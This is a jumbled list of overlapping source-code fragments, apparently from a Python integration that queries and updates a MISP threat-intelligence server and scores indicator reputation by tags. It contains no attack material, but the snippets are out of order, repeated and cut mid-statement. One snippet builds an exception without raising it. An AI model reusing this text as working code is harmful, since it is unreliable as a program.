"elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids,", "- Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP", "if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if", "attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution =", "Converts args dict into a list, please see GenericObjectGenerator Class", "'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen',", "tag. If the data is event's (is_event_level = true) we", "include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\"", "{ 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star", "arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if", "\"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response =", "def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name')", "event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips", "'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute", "attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) ==", "(False). \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid,", "is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search", "exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown(", "args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0", "# there is no need in returning related event when", "return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e:", "returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i])", "attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids,", "event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp'))", "PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message", "build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on the called", "DemistoException(\"Removing the required tag was failed. Please make sure the", "'Please make sure the API key is correct.') return_error(error) def", "we want to limit this list to include only the", "the UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid,", "Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs':", "should be zero or a positive number\") if limit and", "attributes_limit): \"\"\" This function searches for the given attribute value", "Key. Fill in a valid key in the integration configuration.')", "args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg", "an attribute level, default is '0' tag_id = tag.get('id') if", "set to 1 it says that it is an event's", ":= params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a", "if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA", "'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results(", "'FILE': # hashFormat will be used only in output hash_format", "of attributes). score: the indicator score found_tag: the tag (id)", "addition, returns set of the found tag ids. Some tags", "= build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned", "build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of", "(an IP address, email address, domain, url or file hash).", "range(0, len(events)): # Filter object from keys in event_args events[i]", "returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md,", "'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id',", "connect to MISP, ' 'Please make sure the API key", "misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids", "tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE,", "elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids,", "publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/", "raise DemistoException(f\"Error: The given domain: {value} is not valid\") if", "[]): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response)", "to MISP and returning outputs Args: obj: object to add", "if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict):", "if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in", "found_tag: the tag (id) which made the indicator to get", "if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category", "for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious", "Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and", "[] for i in range(len(related_events)): if related_events[i] not in related_events[i", "for a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response)", "attribute request found_tag (str): The tag that was scored as", "function goes over all the attributes that found (after limit", "= demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and", "'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS", "return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value)", "= replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore", "'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args,", "dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type", "'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute", "'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA", "url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if", "level is 4 = Unknown. note: - In case the", "elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event':", "The dictionary that includes the tag list. is_event_level (bool): Whether", "'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error:", "keys and values from Demisto to Misp's keys if 'type'", "tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag id", "which configured as malicious will be scored 3 (i.e malicious).", "ones and the event's attribute tags ones as it is", "Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] =", "True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id =", "required tag was failed. Please make sure the UUID and", "attribute value in MISP and then calculates it's dbot score.", "the information is too big. User can use the command", "delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes it.", "\"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value,", "'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif", "default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else:", "return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights", "information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query", "events that have the tag (i.e found_tag) which caused the", "arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys", "a list, please see GenericObjectGenerator Class in Pymisp. Args: args:", "'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id =", "= build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()}", "a tag that was configured to be malicious is stronger", "events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\",", "is too big. User can use the command search-attributes in", "to tag_set_ids. In any other case, we won't add the", "args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit", "demisto_args (dict): Demisto args new_event (MISPEvent): When this function was", "warn(*args): \"\"\" Do nothing with warnings \"\"\" pass # Disable", "except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e))", "create the generic object Returns: GenericObjectGenerator: object created in MISP", "MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes", "'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format:", "greater event ids are the newer ones. Returns: response (dict):", "== 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command", "None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting')", "removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else:", "\"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0:", "error: Please provide a valid value for the Source Reliability", "r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict()", "for attribute in attributes] def pagination_args_validation(page, limit): if page and", "pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response)", "reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event", "- Attributes tags (both malicious and suspicious) are stronger than", "\"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') }", "event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies", "get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type", "DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\"", "misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if", "True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format =", "if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output", "url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query", "def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list =", "generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==", "= demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid =", "\"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise", "} for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'):", "server url is correct.') if \"Please make sure the API", "tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings =", "pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context", "email or ip). malicious_tag_ids (set): Tag ids should be recognised", "use the command search-attributes in order to get the information", "demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format", "was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module.", "formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(),", "{ 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id':", "} for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]:", "in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable", "include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response", "found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found", "such case, the score will be BAD if the threat", "error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict", "containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8',", "for all the events that have the tag (i.e found_tag)", "suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command", "as the information is too big. User can use the", "test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if", "'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL,", "the given object we go over all the tags and", "indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found:", "def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response", "found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type':", "attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids)", "suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,", "else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message =", "a NewConnectionError, ' 'Please make sure your MISP server url", "that score found_related_events (dict): contains info (name, id, threat level", "suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL',", "attribute.pop(\"RelatedAttribute\") # get rid of this useless list event =", "'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations',", "or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid':", "args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if", "= any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids)", "'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published',", "suspicious nor malicious will be scored by their event's threat", "readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights,", "'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock',", "= [event.get('Event') for event in response_object] for i in range(0,", "2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting':", "tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids,", "fields. In addition, returns set of the found tag ids.", "# response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return", "{page} out others that may exist\" else: pagination_message += f\"Showing", "get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value)", "tag list can be full of in unnecessary data, we", "ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors'", "case the same tag appears in both Malicious tag ids", "if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type ==", "= args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis')", "if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message =", "= event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event", "file hash). dbot_type (str): Indicator type (file, url, domain, email", "MISP event object This function can be called as an", "str]: same object type that got in \"\"\" if isinstance(obj_to_build,", "1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in", "the attributes list by the event ids as the greater", "is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has", "except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__',", "attributes along with their events objects. Note: When limits the", "{value} is not valid\") if dbot_type == 'EMAIL': if not", "the \"Related Attribute\" list and limits the tags and galaxies", "if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen", "which configured as suspicious will be scored 2 (i.e suspicious).", "suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain',", "{'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args,", "event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if", "attributes list by the event ids as the greater event", "specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type]", "query when user set the arg 'compact' to True\"\"\" if", "in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD,", "appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to", "used only in output hash_format = get_hash_type(value) if hash_format ==", "event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname',", "(if it is set to 0 or not exists) it", "build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command", "attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids,", "all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag,", "event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event", "output as the information is too big. User can use", "tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response", "out others that may exist\" else: pagination_message += f\"Showing page", "Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict,", "the API key is correct.') return_error(error) def warn(*args): \"\"\" Do", "by PYMISP into readable response, for more information and examples", "limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context =", "is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg]", "This function searches for the given attribute value in MISP", "dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id')", "'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization", "suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was", "command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif", "event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects", "'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp':", "outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID':", "event_id}) human_readable = f'Object has been added to MISP event", "argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if", "= demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command", "returned {len(response_for_context)} events.\\n {pagination_message}\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md,", "of required arguments presents. command {demisto.command()} requires one of {ip_object_args}')", "and 'NOT:' using ',' as delimiter for parameters and ';'", "given url: {value} is not valid\") if dbot_type == 'EMAIL':", "The given domain: {value} is not valid\") if dbot_type ==", "Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID", "be a list of attributes along with their events objects.", "object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag:", "score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator =", "scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = []", "and limits the tags and galaxies lists. Eventually, the outputs", "== 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given", "demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist']", "related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return", "one (as a tag that was configured to be malicious", "outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP", "'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX", "outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL", "is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit)", "url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None", "tags which configured as malicious will be scored 3 (i.e", "of the event scope). If the data is attribute's (is_event_level", "return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return", "tag except PyMISPError: raise DemistoException(\"Adding the required tag was failed.", "reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP',", "given object we go over all the tags and search", "attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in", "[SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({", "event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict):", "dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type):", "in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args", "when this is an attribute level, default is '0' tag_id", "event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event", "return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute':", "event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name))", "them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed", "'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat',", "found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score':", "information and examples please see UT: test_extract_error. Args: error: list", "that was configured to be malicious is stronger than recognised", "misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a", "{len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,", "def event_to_human_readable(response: dict): event_highlights = [] for event in response:", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args,", "event in response_object] for i in range(0, len(events)): # Filter", "response from the MISP search attribute request found_tag (str): The", ") def add_attribute(event_id: int = None, internal: bool = False,", "limit): if page and page < 0: raise DemistoException(\"page should", "{\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")}", "if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag)", "= build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None", "= demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args,", "search query when user set the arg 'compact' to True\"\"\"", "events[i]['RelatedEvent'] = [] # there is no need in returning", "(each one is str), and verify all the tags are", "attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen:", "Some tags have a field called inherited. When it is", "outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response =", "Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'),", "Convert the response of attribute search returned from MISP to", "if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"##", "return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a", "sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] }", "extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP", "= new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable", "misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event')", "as it is part of the event scope). If the", "url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment", "create event command, the attrubite will be added to that", "if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address:", "'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score':", "in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids,", "prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page", "'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org':", "event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" )", "as an independence command or as part of another command", "comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen =", "for operators. using the operators is optional. if 'demisto_query' does", "lists the indicator will be scored as malicious. - Attributes", "= args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if", "if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return", "suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url',", "been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',", "PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please make", "dictionary created for misp to perform complex query or if", "required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context =", "= PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in", "= requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = 